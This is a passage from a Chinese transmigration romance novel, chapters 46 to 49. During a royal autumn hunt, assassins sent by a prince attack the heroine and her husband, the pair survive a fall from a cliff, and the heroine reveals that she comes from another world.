“可是姐姐也应该有自己的人生，也有权利跟自己心爱的人在一起生儿育女。”
“妹妹又在说傻话。我这辈子就想呆在宋府，照顾你和夫君，还有你们未来的孩子。”
“这真的是姐姐你想要的生活吗？”陆思云紧紧盯着她问。
莫婉晴迎上她的目光，笑着回答：“是。”
陆思云对这个答案并不满意，因为她知道这不是莫婉晴真正心中所期望的。
她也不希望自己和宋晏初成为绑架莫婉晴人生的牢笼。
皇家围猎，盛况空前。
各家皇宫贵族，宦官子弟，全都不会错过这个可以在皇上面前长脸的好机会。
而各世家未出阁的小姐们，家中女眷们，也会跟随各家主出行。
他们都想借此机会，帮自家女儿物色一位门当户对的公子，所以她们全都铆足了劲，把自己孩子打扮得美艳动人。
这是陆思云第一次参加皇家活动。
上一次的祭祀大典，因她只是一个小小的捕快，连进宫门的资格都没有。
如今以大理寺少卿夫人的身份，能够参加此次的皇家围猎，实在是让她大开眼界。
陆思云坐在莫婉晴的身边，看着那些高门贵子穿着华贵的衣服一个个慢慢地落座，脸上虽然都面无表情，但神情却是高傲的。
莫婉晴看她看着四周，眼里充满了好奇，觉得她像个孩子似的。
不过转念一想，她从另一个世界穿越到这里，对这里的一切都不熟悉，会感到如此新奇也实属正常。
“姐姐，我第一次参加这样的皇家围猎，真不愧是皇家举办的，好是气派！”
“皇家围猎每年秋季都会举行一次，往后妹妹年年都可以参加。一会儿妹妹如果愿意，也可上马同他们一起是打猎。”
这下陆思云来精神了，忍不住兴奋地问：“真的吗？一会儿女子也能同男子一起骑马打猎？”
拉弓打猎，她只在电视里见过，没想到如今自己也能亲自上场一试，岂不是有趣至极。
“当然可以。不过一般鲜少有女子愿意骑马涉猎，显得比较粗俗。但并没有规定女子不能涉猎。”
她才不在乎什么形象呢！既然有这样的机会，她是绝对不能错过的。
忽然前面传来一个响亮的声音：“皇上驾到——”
众人立刻起身下跪。
“参见陛下，吾皇万岁万万岁！”
“众爱卿平身。”
“谢陛下！”
“今日在此地与诸位一起举办秋季围猎，寡人很是高兴。希望在座的各位不必拘束，尽情狩猎。猎物最多者，赏！”
“谢陛下恩典！”
随后锣鼓声震天响，各家公子骑着马，背上弓箭，朝着涉猎场的方向奔去。
宋晏初并不急着出发，他看着一旁跃跃欲试的陆思云，笑着问：“夫人，想去涉猎吗？”
陆思云头点得跟个小鸡啄米似的。
“夫人可会骑马？”
陆思云愣住，她这才发现一个根本的问题。
她不会骑马！她从来没有骑过马！
她立刻跟蔫了的白菜似的，垂下了脑袋。
一只手伸到她的面前，陆思云抬起头看向手的主人，不明所以。
“我带你去狩猎，如何？”
陆思云的眼睛立刻又亮了起来。
她牵过那只手，任由他将自己脱上马背，然后他也翻身上马。
两人带好弓箭装备，同骑一匹马，飞奔而出。
“瞧见了吗？方才是宋少卿吗？他带着的人是二夫人？”
“想不到他现在居然如此宠爱楚星然。”
“这楚星然到底用了什么法子，能让厌恶她的宋大人，如今却她如此宠爱？”
“原来宋
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大人也不是表面看上去这般冷酷无情，他也有柔情的一面。”
“真羡慕楚星然，能得到宋大人独一份的宠爱。”
……
莫婉晴一边喝着茶，一边听着周边的女眷对她家夫君和思云妹妹的讨论，脸上波澜不禁，内心却是为他们感到高兴。
突然一个男子走到她的面前，对她抱拳作揖：“在下乃监察御史之子霍正义，见过莫大小姐。”
听见这个名字，莫婉晴的指尖忍不住微微颤抖。
这一世，他们终于又碰面了。
莫婉晴看着眼前的霍正义，他容貌俊俏、温文如玉，是世家公子该有的那般偏偏风度。
她很难将眼前之人与那个嫌她累赘将她无情抛弃的薄情人联系在一起。
她强忍住自己心头的情绪，淡淡的对他点了点头：“霍公子，找我何事。”
“在下听闻内阁大学士之女，花容月貌，才华横溢，今日一见果然名不虚传。”
如今再听到这番话，莫婉晴的心中已经毫无波澜。
只是她还未开口，旁边传来一个熟悉的声音。
“霍公子，在场这么多未出阁的高门千金，你为何偏偏宋夫人攀谈？”
众人闻声望去，就看到穿着一身惹眼的深红色飞鱼服，手握绣春刀的陆琛站在不远处，正似笑非笑地看向这边。
听了他的话，霍正义的脸色有些难看。
“在下只是仰慕宋夫人的才华，特此前来打个招呼而已。”
霍正义腹诽：人家的夫君都不在这里，又关这厮何事？为何要过来让我难看，简直可恶！
但对方是锦衣卫，他终究是不敢得罪。
莫婉晴看着陆琛，不明白他为何要说这番话。
但她确实也不想跟霍正义再有什么瓜葛。
上一世受的的苦痛，这一世她不想再来第二遍。
她此时看到这个人，就会想起以前的痛苦，所以她顺着陆琛的话说：“陆大人说得极是。如今我是大理寺少卿的大夫人，霍公子与我攀谈，确实有违礼数。”
被锦衣卫莫名其妙地说教两句，尚且还能让霍正义反驳两句。
但被正主这般说教，他却是有些无地自容了。
于是他只能愤懑地告辞：“是在下唐突了，再次向宋夫人赔不是，还望宋夫人不要介怀。”
“霍公子言重了。”
然后莫婉晴端坐在位置上，专心地看着表演，喝着茶，既不理会霍正义，也不理陆琛。
陆琛侧头看了她一眼，发现她比再华县时还清瘦了几分，脸上也没什么气色，看上去有些憔悴。
他心中很是担忧，但终究碍于身份和场所，没办法说句半句关心的话语。
又站了会儿，他便离开，去别处巡视。
此次皇家围猎，锦衣卫配合护卫，所以他可以到处走动。
察觉到他的离开，莫婉晴暗暗松了口气。
虽然自己并不是不想见他，可这个场所，这么多人面前，他们是万万不能说上话的。
不然明日整个洛城不知道会传出怎样不堪入目的传闻来诋毁她、诋毁宋晏初。
她自己的名声倒是无碍，但她绝对不能因为自己而害了宋府。
46.第 46 章
宋晏初和陆思云坐着马行走在树林中。
四周很安静，宋晏初密切注意草丛里的动静。
忽然，他听到右手边草丛中有声响。
他迅速掏出弓，从箭筒里拿出一根箭装上，满弓朝着有动静的方向迅速射/出一箭。
整个动作一气呵成，陆思云都没弄清楚发生了什么事，就听见小动物的呻吟声。
方才射箭的方向，一只灰色小兔子倒在地上，腿部赫然插着一把箭。
“好厉害！”
陆思云的眼里充满了崇拜，这让宋晏初心情大好，很是得意。
他将弓箭交给她，柔声道：“来，我教你。”
陆思云按照他的指示双手执弓，而宋晏初则是握住她的手，用力将弓拉开，对准方才中箭受伤的兔子。
看着那只兔子倒在地上，失去反抗，眼神里充满了绝望，陆思云的心里突然动了恻隐之心。
千钧一发之际，她手臂微微用力，将弓偏离了一些方向，箭被射偏。
宋晏初有些诧异地看向她。
“我只是觉得，小兔子太可怜了，于心不忍。”
她低声解释，耳垂泛红。
明明方才跃跃欲试想要跟着一起去涉猎的是她，现在看小动物可怜不想狩猎的也是她。
他想夫君大概会觉得她是一个善变的女子。
谁想宋晏初听了，不但没恼，还搂紧了她，将自己的下巴轻轻磕在她的肩膀上，低声道：“那我们就不涉猎了，就在林子里走走，可好？”
陆思云点头。
她在宋晏初的帮助下下了马背，抱起地上的那只兔子，将箭拔掉，然后取出丝帕将小兔子受的腿包扎好，抱在怀中。
宋晏初看着她动作，嘴角含笑。
蓦地，宋晏初神色一凛，迅速将陆思云护在身后，警觉地观察地四周，面色如霜。
见他这样，周身充满了杀气，陆思云立刻明白，他们遇到危险了。
很快，从草丛里蹿出来许多黑衣人，将他们围在中间。
又是黑衣人！
这些日子，光是遇到刺客这件事，她就已经经历了三回了，回回都是生死攸关。
她真的害怕见到这些穿黑衣服的蒙面人了。
果然和亲王不会错过任何可以谋害他们的机会。
“你们是何人派来的，竟敢在皇家的地盘撒野，是不是活腻了！？”
“少废话，有人要你今日死，你就不能见到明日的太阳。给我杀了他们！”
说完，那些人就挥着刀朝他们砍过来。
虽然陆思云也有武功，但到底是三脚猫功夫，哪里敌得过专业的杀手。
很快，她就被几个人打的节节败退。
宋晏初一边应敌一边还要注意着她那边的情况，看她遇险还要帮她挡剑。
二人对十几个，终究是寡不敌众。
他们很快被黑人们逼到了山崖边。
陆思云看着身后的深不可测的悬崖，内心一阵绝望。
如今的情形，他们二人当真是退无可退，只能应战，也许还有一线生机。
纠缠间，陆思云被其中一名黑衣人踢中胸口，她立刻觉得有一股巨大的力量将她推了出去。
随后她便开始快速往下坠落。
“星然！”
陆思云看着悬崖处离她越来越远，随后她看到宋晏初毫不犹豫地朝她的方向跳了下来。
眼泪夺眶而出，飘在自己的上方。
笨蛋！为什么要随我一起跳下悬崖！
另一边，莫婉晴完全没有察觉出宋晏初那边的危险。
她依旧坐在主场席上，一边看着表演，一边喝着茶等着陆思云他们狩猎归来。
忽然，她瞟到有个随从小跑到和亲往沈柏南，在他耳边低声说着什么，然后她看到和亲王的脸上露出了诡计得逞的笑容。
莫婉晴突然警觉了起来。
自从华县遇到两次袭击之后，她便对各种事都异常留心。
她知道宋晏初如今在朝堂深受各党派的拉拢与排挤。
特别是华县贪污灾银一案，牵扯众多，因这份名单受到牵连而被抄家流放的官员众多。
各党派之间喜忧参半，但都将这怨恨归结在宋晏初和陆琛头上。
眼下见和亲王露出的这抹笑，莫婉晴立刻有了不好的预感。
她看了看四周，发现大家都沉迷于舞台上的表演，并没有人注意到她，她便偷偷起身离开。
但她的离开却没有逃过和亲王的眼睛，他立刻对身旁的侍卫使了个眼色，侍卫会意，点头离开。
莫婉晴离开了席位，朝着猎场的方向走去。
她不知道应该是哪里寻找宋晏初他们。
但是直觉告诉她，他们二人一定是出事了。
就算没出事，危险也在逼近。
她必须要找到他们，将此事告知他们。
只是她终究是低谷了敌人的狠绝，她还未走到猎场的出口，突然不知道从哪里射出十几只飞箭，目标全是莫婉晴。
莫婉晴还有反应过来，她就被人扑倒在地，护在怀中。
她抬眸，就看见那么深红色，还有深红色上的金色烫金。
是飞鱼服！
是陆琛！
随后，她闻到一股浓浓的血腥味。
他受伤了？
莫婉晴连忙坐起身，想要查看他的伤势。
陆琛面色煞白，额头冒汗，有些无奈地看着她：“宋夫人真是胆大包天，什么都没准备只身一人进猎场，就不怕被误伤。”
陆琛的部下训练有素，立刻赶到。
方才保护她的时候，陆琛后背中了两箭，部下看到，立即说：“我去叫太医。”
“等等！”还未走远就被陆琛喊住：“此事不宜声张，先扶我回幄帐再说。”
莫婉晴跟在身后，进了幄帐。
部下们全都你看我，我看你，不明白为何宋夫人也跟着一起过来。
在他们的注视下，莫婉晴解释：“我会一点医术，麻烦你拿一个药箱进来，我来给你们大人疗伤。”
“是。”
部下立刻拿了药箱进来，然后识趣地退出了幄帐。
幄帐里之剩下他们二人。
陆琛也不介意，反正这也不是他第一次在莫婉晴面前受伤了。
他将飞鱼服和内衫脱下，光/裸的后背，两把箭深深地扎进肉里，触目惊心。
莫婉晴不自觉地捂住嘴巴。
背上除了两把箭，还有大大小小，横竖交错，数不胜数的疤痕，让人看着不由得胆寒。
很难
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想象，他此前过得都是怎样日子。
陆琛知道她在惊讶什么。
自己的后背是什么样，他一清二楚。
“宋夫人，麻烦你帮我把后背上的箭拔掉。”
“就这样生拔？”
莫婉晴不可置信。
这样得有多疼，并且她从未做过这种事，她没有勇气下手。
听了她的问题，陆琛笑了：“不生拔，宋夫人还有别的更好的办法么？”
确实没有。
见莫婉晴迟迟没有动手，陆琛继续说：“宋夫人如果下不了手，可以叫我的部下进来帮忙。”
“我来，让我来。”
莫婉晴深呼吸了一口，然后伸出双手紧紧握住箭，眼睛一闭，用力一拔。
她立刻感受到箭的顶端剥离血肉的撕裂感。
箭一拔出，伤口内的血便喷/射而出，莫婉晴立刻用摸了止血药的纱布用力按住伤口。
等第一个伤口的血止住之后，她便用同样的方法拔出第二把箭，然后给伤口按上止血药。
一系列动作后，莫婉晴只觉自己额头有些冒汗。
她看向坐在那一动不动的陆琛，发现他双眼紧闭，紧咬牙关，脸上全是冷汗，但他愣是一声都没吭。
她又看了一眼他满身的疤痕，眼泪忍不住夺眶而出。
陆琛从疼痛中缓过来，转头却看到莫婉晴坐在一旁默默掉泪。
心底化开了一片。
他伸手拭去她眼角的泪，安慰道：“哭什么，我早就已经习惯了。”
可莫婉晴并没觉得他这句话是在安慰自己，她反而哭得更凶了。
见她还在哭，陆琛有些无奈，却又无可奈何。
他杀人不眨眼，却对心爱之人的眼泪束手无策。
莫婉晴哭了会儿，才意识到自己的工作还未完成。
于是她起身取了纱布，为陆琛小心翼翼地包扎伤口。
陆琛任由她摆布
。
两人一时间谁都没有说话。
等莫婉晴包扎完伤口，她又坐回位置上，看着她，解释道：“方才我看到有个侍卫与和亲王在说悄悄话，我预感和亲王想在狩猎期间加害夫君和妹妹，我担心他们的安危，一时心急，就想进猎场找她们。没想到却正中他下怀，还连累你受伤。”
陆琛听了她的话，沉默了片刻，说：“我会派人去寻他们，你且等我消息便可，哪里都不要去。”
莫婉晴听话地点点头：“谢谢你。”
见她哭得梨花带雨，陆琛又忍不住抬手想给她擦眼泪，但这次莫婉晴被偏头避开。
陆琛也不介意，他放下手，低声道：“其实我很庆幸，你嫁给了宋晏初。”
莫婉晴听了，转头瞪他。
他什么意思？
陆琛继续说：“倘若跟了我，便过得是担心受怕的日子。我不想你跟着我吃苦。”
莫婉晴刚止住的眼泪，又汹涌而下。
让陆琛慌了神，有些手足无措。
“我不会说话，让你伤心了，我向你道歉。”
可莫婉晴却什么也没说，只能一个劲的掉眼泪。
她还能说什么呢？
就算他们再怎么努力，也终究没办法对抗世俗的眼光。
如今的局面，已是定局。
47.第 47 章
山崖底下，宋晏初抱着陆思云倒在岸边，两人全都昏迷不醒。
陆思云先从昏睡中醒过来。
她直起身子，顿觉全身剧痛无比，但她却顾不上身上的疼痛，她看着一旁没有反应的宋晏初，整个心都提到了喉咙口。
他不会有事的。
她握住宋晏初的肩膀，双手用力，想要将他摇醒。
“夫君！夫君你醒醒，你不要吓我！宋晏初！宋晏初，你醒一醒！”
可是，任凭她怎么用力摇晃，宋晏初都没有转醒的迹象。
陆思云的内心渐渐绝望。
她伸出颤抖的手指，放在他的鼻下。
当感受到有股浅浅的气息吹拂着她手指的时候，她的心才放下来一些。
他没有死，太好了！
她环顾四周，此时天色已晚，晚上天凉，山间不知道会不会有猛兽出没，她必须在太阳下山之前，找一个落脚的地方。
宋晏初从昏睡中醒来，他努力睁开双眼，只觉眼前红彤彤的一片，很是耀眼，亮得他有些睁不开眼。
等他适应了亮光，缓缓地睁开眼，这才看清楚，眼前是一个火堆。
他继而开始查看四周的情况，发现自己身处一个山洞之内。
星然呢？
为何山洞里只有他一人？
想到这里，他神色慌乱地想要起身，刚抬起半个身体，突然全身传来撕裂般的疼痛，让他不得不又躺回了草堆里。
洞口传来熟悉的声音：“夫君，你醒了？”
是楚星然！
知道她平安无事，宋晏初这才放下心来。
他躺在草堆上，全身无力，只能看着陆思云抱着一堆柴火走过来，坐在边上，认真地给火堆添柴火，让火烧得更往一些，好让他的身子能暖和一点。
添完柴火，她又从怀里拿出来一些野果子，喂给他吃。
“我去外面摘了些野果，洗干净了，夫君先凑合吃点，垫垫肚子。一会儿我在去抓两条鱼，今晚我们吃烤鱼。”
“夫人辛苦了。”
陆思云看着躺在那里，脸色苍白，看上去仿佛要碎了一般的宋晏初，心疼得忍不住落下了眼泪。
见她落泪，宋晏初有些慌了神。
但此时他却一点都动不了，只能无力地看着她哭，干着急。
“夫人怎么哭了，我觉得现在好多了，已经没事了。”
“你为什么要跟着一起跳下来？万一悬崖下不是河，我们今天就都没命了。”
原来是为此事哭泣。
宋晏初浅笑道：“我若不跳下去，那么多杀手我一个人怎么对付的了。横竖是死，不如跟你死在一起，我还乐意一些。”
“油腔滑调。”陆思云嗔了他一眼。
“我是认真的，我真的是这么想的。”
陆思云看着眼前燃烧着的火焰，沉默了片刻，决定向宋晏初坦白。
这个男人，为了她，可以不顾自己的安危跟着她跳下悬崖。
既然他们已经一起经历了生死，既然他们两情相悦，那么他们就应该彼此坦诚。
“在蝴蝶谷，你说你心悦于我，无论我是谁。这话可还算数？”
宋晏初躺在草堆之上，虽然满身是伤，但却目光灼灼。
“永远都算数。”
“那日我醉酒同你说，我不是楚星然，我叫陆思云。我说的是真的，”
陆思云看向他，缓缓地说道。
“我不属于这个世界。我是从另一个世界穿越而来。”
她并不意外，从宋晏初的眼中看到了迷茫的神色。
任谁听了这样的话，都会觉得莫名，摸不着头脑。
“在我的世界里，我叫陆思云，是一名刚从警校毕业的警察。警察的意思，大概等同于捕快。但是在一次追捕犯人的时候，我失误不小心将车开入了悬崖。醒来后，我便发现我在楚星然的身体里。”
说完，她有些忐忑的看着宋晏初。
不确定他听了自己的这些天方夜谭一般的话，会有何反应。
他会相信自己说的这一切吗？
”那以后，我便唤你思云，可好？”
陆思云猛的抬头看他，语气中有些不可思议：“你、你相信吗说的话？”
“虽然觉得很匪夷所思，但是我相信。结合之前楚星然的变化，似乎也只有你说的这个可能性能够说得通。”
果然聪明睿智的人，都一样冷静。
她想起自己同莫婉晴坦白的时候，莫姐姐也是这般冷静地就接受了。
“谢谢你，宋晏初。”
谢谢你，为了我可以不顾性命。
谢谢你，可以毫无保留地相信我。
遇见你，是我此生之幸事。
宋晏初躺在那，虽然不能动弹，但眼底泛着柔光：“以后就叫我晏初吧，我喜欢你叫我的名字。”
“好。”
沉默了会儿，陆思云又说：“我们这么晚还没有回去，不知道莫姐姐会不会担心我们。”
“他们发现我们不见了，定会来寻我们的，不要担心。”
陆思云只是担心那些杀手会再次找上门来。
如今宋晏初动弹不得，自己又是三脚猫的功夫，如若再被他们发现，必死无疑。
围猎结束，都不见陆思云他们回来，莫婉晴便知道他们必定是遇到危险了。
她急得像是热锅上的蚂蚁。
陆琛见她这般着急，自然是不能不管。
况且宋晏初与他好歹再华县联手过，相识一场，眼下他生死不明，他没有不帮忙的道理。
但是他却深知不能打草惊蛇，不然会引来和亲王下进一步的死手。
他只能带着几个信任的部下，四处暗中搜寻二人的踪迹。
陆琛原本想让莫婉晴回府里等他消息，可她偏偏不听。
“现在生死
未卜的是我的家人，我怎么可能回去。我就算回去，也没办法安心。就让我跟着陆大人一起去找他们吧。而且你还受着伤，我在旁还能帮你顾着些伤口。”
他知道莫婉晴是个执拗的人，便没再坚持。
几个人搜索到悬崖下的树林里，树林的路泥泞潮湿，莫婉晴走得小心且艰难。
陆琛并不知道跟在他身后的女子走路吃力，他人高马大，迈的步子又宽，根本没顾上身后的人。
为了能跟着他，莫婉晴不觉加快了脚步，谁想脚下不慎一滑，差点摔倒。
幸亏陆琛及时回过神抓住了她的手臂，才避免她真的摔倒在地。
陆琛这才注意到，自己光顾着找人，没想到要迁就她的步伐。
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“抱歉，我走路习惯走这么快，没注意你跟不上。”
他伸出手，柔声道：“不然我牵着你。”
莫婉晴却犹豫着迟迟没有伸手。
知道她在顾忌什么，陆琛道：“这里只有你我二人，没人看得见。树林不好走，别又摔着了，耽误找人的时间。”
听到“耽误找人”，莫婉晴便不敢再矫情，连忙握住他的手。
陆琛牵着他，在树林里快速走着，探查着。
莫婉晴任由他牵着，这是他们第一次牵手，原来男人的手这样宽大。
虽然他掌中的茧子膈得她的手心痒痒的，可是她却不在乎，她只觉得这只手握着她，让她甚为安心，哪怕只是这一小会儿，她便已经知足。
走了不知道多久，陆琛才发现陆思云她们所在的山洞。
他小心翼翼地带着莫婉晴走进山洞，看到里面隐隐约约的火光，他朝后看了一眼身后的莫婉晴。
二人交换了一个确认的眼神。
他们定然就在里面。
等他们进到山洞里，看到趴在宋晏初身上的陆思云，莫婉晴终于忍不住内心的激动，喊道：“思云妹妹！”
听到熟悉的叫唤声，原本在小憩的二人同时睁开眼睛。
陆思云一眼就看到站在山洞门口的莫婉晴。
还有她身边的陆琛。
“莫姐姐！”
她连忙起身，跑向他们。
待走进，看到二人牵着的手时，她一愣。
莫婉晴和陆琛这才注意到，他们的手还握着，两人像触电一般立刻分开。
陆思云并没有多说什么，只能当作没看见。
她牵起莫婉晴的手，带着哭腔说：“我就知道姐姐一定会来找我们的。我们从悬崖下摔落到了河里。虽然保住了性命，可是夫君为了救我，受了重伤，现在躺在那里无法起身。”
“什么？你们怎么会摔落悬崖？”莫婉晴想过他们定是经历了万分凶险的情况，却没想到居然凶险至此。
“此事说来话长，我们回府从长计议。现在最重要的是尽快将夫君带回府中，让大夫给他诊治。”
“妹妹说得是。”
陆琛走到宋晏初面前，查看了一下他的伤势。
从高处落下，许是伤到了内脏。
看着人是清醒的，应该并没有生命危险。
他回过身对莫婉晴说道：“他伤了内脏，尽量不要动他。我叫人拿木板过来抬他出去。你们在此等候。”
“有劳陆大人。”
在陆琛的帮助之下，宋晏初终于被送回了府中。
陆思云虽然也受了伤，但与之相比只是一些皮外伤。
她守在宋晏初床边，任凭谁劝都不愿离开。
宋晏初虽然全身都在疼，还发着热，但是精神却很好。
他看着坐在床边陪着她的陆思云，握着她的手，眼睛是透亮的。
折腾了一晚上，原本应该精疲力尽的两个人，此时却全都没有了睡意。
陆思云取了毛巾，帮他擦拭着额头上的汗珠。
宋晏初一动不动地看着她为自己擦汗，心里很高兴。
“方才在山洞，我听到婉晴叫你思云妹妹，她是不是也……”
“是，夫君猜的没错。姐姐也知道我是穿越而来。”
48.第 48 章
宋晏初的脸上倒是闪现出一丝意外。
“这是何时的事？”
“皇家祭祀大典之后，我与莫姐姐互相坦诚了对方的秘密，这才成了亲密无间的好姐妹。”
“这么说，婉晴也有秘密？”
陆思云想了想，点点头。
见宋晏初没再问下去，她反倒是有些好奇：“你不问我婉晴姐姐的秘密是什么么？”
“既是婉晴的秘密，如若她本人不想说，我也不会强迫。”
听了他的话，陆思云笑出了声。
让宋晏初有些莫名：“你笑什么？”
“你好像确实特别不喜欢强迫别人做事。”
“谁会喜欢强迫别人做事？”
“很多啊，比如我刚穿越到楚星然身体，我带着翠柳出府，为人打抱不平，还遇到你，你就因为我擅自离府而强迫我在祠堂跪了一夜。”
陆思云开始翻旧账。
宋晏初顿时觉得握着她的手在微微出汗。
“那个时候我也不知道你是陆思云，只当你是那位嚣张跋扈的楚星然，我当然不会给你好脸色。不过现在想来，那次街上相遇，原来是我们的初次见面，难怪你全然不认得我。”
“你为何这般讨厌楚星然？”
宋晏初垂眸看着他们相握的手。
“我本就对她无意，可她却非我不嫁，甚至让皇上下旨赐婚，逼我娶她。平日她在府中虐待下人，威吓婉晴，把宋府搅得鸡犬不宁，这样的女子，我怎么会喜欢呢？”
陆思云了然，楚星然脾气确实不好，还特别骄纵。
宋晏初心高气傲，又为人正直，自然见不得她这番模样。
“这么说，你是在楚星然昏睡期间进/入她的身体里的？”
“正是。”
“你原来的世界，是个怎样的世界？”
陆思云笑道：“我原本的世界，是一个你想都想不出来的世界。那里的人们衣服穿的没有这里这般累赘，娱乐活动比这里丰富百倍，思想也与这里完全不同。在那个世界，女子可以抛头露面，从事任何职业，有的甚至比男子还厉害。”
“难怪你坚持要去六扇门做捕快。”
“因为在我原本的世界，这都是很正常的事。”
宋晏初看着她，心里从未有过这么平静踏实的时候。
在深夜里，他握着心爱之人的手，听着她说着话，他们低声交谈着。
一切都是那么静谧又美好。
这是他从未体验过的满足感。
在陆思云的悉心照料之下，宋晏初渐渐可以坐起身，然后下床走两步。
气色也好了许多。
莫婉晴每日都会带着下人将煎好的药送进房间内，看着他一日好转一日，心里也跟着高兴。
“亏得有妹妹的细心照顾，夫君才能好得这样快。”
她边说边将药碗递给陆思云。
陆思云接过药碗，神情羞涩：“是夫君底子好，恢复的快。”
想起掉崖之事，莫婉晴的脸色变得凝重：“围猎那天到底发生了什么事？你们怎么会坠崖？”
听了她的问题，两人的神情立刻严肃了起来。
陆思云说：“我们遭到黑衣人的袭击。我不慎被踢落悬崖，夫君为了救我就跟着一起跳下来。幸好我们命大，悬崖下是一天河。不然我们怕是凶多吉少。”
“又是黑衣人？”莫婉晴惊叹，然后继续说：“其实我也差点被害。”
“什么！？”
宋晏初和陆思云全都震惊地看向她。
陆思云连忙握住她的手，担心地看着她：“有没有伤着？”
莫婉晴摇头：“还好陆大人及时赶到，救了我。但是他却身中两箭，受了伤。”
“没想到姐姐你们也遇到袭击，到底是谁这样胆大包天，连皇家围猎都敢进行暗杀？”
“是和亲王。”莫婉晴用肯定的语气说道。
“姐姐为何如此确定是和亲王派人刺杀我们？”
“我在等你们的时候，看到有侍卫在与他说悄悄话，我猜测他可能对你们不利。因担心你们的安危，我便偷偷离席，想去狩猎场找你们。结果还没走到狩猎场的入口，就遭到了袭击。”
陆思云愤愤地问：“这个和亲王，为何非要对我们赶尽杀绝？”
宋晏初躺坐在床上回答她：“因为华县贪污灾银案。”
“夫君此话何意？”
“那份贪污灾银的名单涉及查办的官员，大多数都是和亲王的人。我们动了他在朝廷的根基，是他党争的绊脚石，他就必须要将我们铲除。”
“这样一来，我们岂不是危机四伏。”
宋晏初沉吟，眼里发出锐利的光芒：“我们也不能总是这样坐以待毙，是时候要反击反击了，打压一下和亲王的气焰。”
“夫君打算怎么做？”
“我需要去见陆大人。”
莫婉晴和陆思云看着他，发现他眼神坚定，知道他心中必是已有打算。
“好，不过夫君身体尚未恢复，不宜走动。我去请陆大人来府中，与夫君商谈要事。”
“麻烦夫人了。”
莫婉晴立刻行礼退出房间，去北镇抚司请陆琛。
莫婉晴离开后，陆思云看着躺在床上的人欲言又止。
“我知道你想说什么。我知道婉晴对陆琛有情，可我也知道她是一个恪守本分的女子。正因如此，她心里苦楚却从不外露。我现在才知道，能得一个两情相悦之人有多不容易。我自然也想成全他们。只是如今朝局动荡，和亲王蠢蠢欲动，我们危机四伏。如果我同婉晴和离，让她和陆琛在一起，陆琛的身份和行事作风，又如何能护她周全。她在这里，还有你我可以保护她。”
“你说得对。现在不是谈儿女私情的时候。就算要成全莫姐姐和陆大人，也应等朝局稳定以后，再做打算。”
“婉晴视我们为家人，我们亦然。所以我们一定要想个万全的法子。既能保住她的名声，又能成全她的心愿。”
陆思云赞同地点点头。
北镇抚司门口，莫婉晴现在门口，望着这气派不已的大门。
她深吸一口气，走上前，对门口当班的侍卫说：“麻烦通报一声，大理寺少卿的夫人莫婉晴，求见陆指挥使。”
侍卫看了她一眼，便进去通传。
没一会儿，便有人出来领她进
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了北镇抚司的大门。
陆琛坐在案桌前，悠哉地喝着茶。见到她，并未起身相迎，依旧坐在那里。
“宋大夫人今日来我北镇抚司，不知有何贵干？”
莫婉晴行了礼，神色淡定，没有任何畏惧之色。
能这样面不改色走进这里的女子，怕是只有她一人。
只有莫婉晴心里清楚，陆琛表面杀人如麻、嗜血如命，实际上却温柔细心、体贴周到。
“我家夫君想请陆大人到府上商议要事，特让我来邀请大人。”
听见“夫君”二字，陆琛喝茶的动作顿了一下，眼神黯了几分。
见他不说话，莫婉晴以为他不愿去，于是又说：“夫君前些日子从悬崖处摔落，伤了内脏，如今刚能下床走路，还不能出门，希望陆大人见谅。”
“既如此，在下随夫人走一趟。”
“多谢陆大人。”
二人一同坐在马车内，彼此都没有说话，只能听到车外的喧嚣和马车的颠婆声。
忽然，陆琛开口：“你……最近可好？”
“家主受伤卧床休养，我自然是要多顾着一些府中的事务，这样才能让他安心养伤。”
陆琛听了，微微挑眉，侧过头看向她，冷冷地问：“宋晏初受伤，你做夫人的还需日夜照顾他？家里就没个下人佣人？”
莫婉晴不明所以地看着他，方才她说的话哪里有一句说到自己彻夜未眠照顾宋晏初了？
他在听些什么啊？
“我并没有彻夜照顾夫君，一直是星然妹妹服侍在夫君左右，寸步不离。”
陆琛这才意识到是自己理解错误，他干咳了一声掩盖自己的尴尬。
看到他这般模样，莫婉晴自然知道他这是在吃味。
心里突然有些高兴，她笑了起来。
“夫君和妹妹两情相悦，我真心祝福。以后也会陪在他们身边，帮他们打理好宋府，照看好他们未来的孩子。这便是我往后的打算。”
陆琛看向她，眼神复杂，有纠结有痛苦，更多的是无可奈何。
最终他也只能垂头苦笑道：“宋夫人无私奉献，温柔大度，让陆某佩服。”
“希望以后陆大人可以遇到一个懂你爱你，愿意陪伴在你身边的女子。”
听了她这句话，陆琛抬起头看向她，眼神充满探究，他在试图弄清她是真心还是假意。
当看到她坦然地笑着看着自己，他知道方才那句话是出自真心。
心口突然刀割一般疼。
比他受伤，血肉模糊时，还要疼上千倍万倍。
他苦涩地开口：“借宋夫人吉言。只怕没有哪个女人会愿意跟着我过担惊受怕的日子。”
莫婉晴忍着夺眶而出的眼泪，终究是没办法再多讲一句话。
两人一句沉默地来到宋府。
莫婉晴将陆琛领到宋晏初的房间门口，然后行礼垂眸道：“夫君就在里面，请陆大人进去便是，妾身告退。”
说完便没有再看他一眼，转身离开。
看着她决绝的背影，陆琛心中百感交集，胸口烦闷无处发泄。
最终他只能无奈地一声叹息，转身抬脚走进房间。
49.第 49 章
陆琛走进屋内，宋晏初穿着白色内衫，外面披着一件深色外衣，正坐在案桌旁，想来已是等候多时。
陆思云站在他身旁，见陆琛进来，她先同他行礼打了个招呼，然后对宋晏初说：“我去外面等你们。”
宋晏初看着她点点，眼角含笑。
看着他们眉目传情，陆琛想到莫婉晴方才在马车上说的“夫君与妹妹两情相悦”。
看来是真的。
陆思云走后，屋里只剩下两个男人。
宋晏初伸手指向他身侧的位置：“陆大人，请坐。”
陆琛坐下后，看着对面的人给他倒茶，便开门见山地问：“宋大人今日找我过来，是否想问围猎那天的事？”
“听闻陆大人中箭了，伤势可有好些？”
“劳烦宋大人费心。那两只支箭我已经查验过，确实出自和亲王府的死侍。”
宋晏初表情如常，没有任何惊讶之色。
“宋大人已经猜到了？”
“其实不难猜。华县的两次遇袭，与这次围场的人，武器武功以及方式都差不多。况且，华县贪污灾银受牵连的官员大多都是和亲王的人，他对我们怀恨在心，也在意料之中。”
“和亲王越来越胆大妄为，不知宋大人叫在下前来有何对策？”
“再过两日，我便打算回到大理寺，参加早朝。烦请陆大人提前将调查此箭的内容如实呈报给陛下即可。”
“这原本是我的分内之事。就算宋大人不说，我也打算将此事汇报给陛下。”
“那就拜托陆大人了。”
陆琛虽不是朝堂中人，朝堂之事他也从不参与。
但他一直是陛下身边最锋利的刀，为陛下办各种暗中之事。
对朝堂动态他是知晓的。
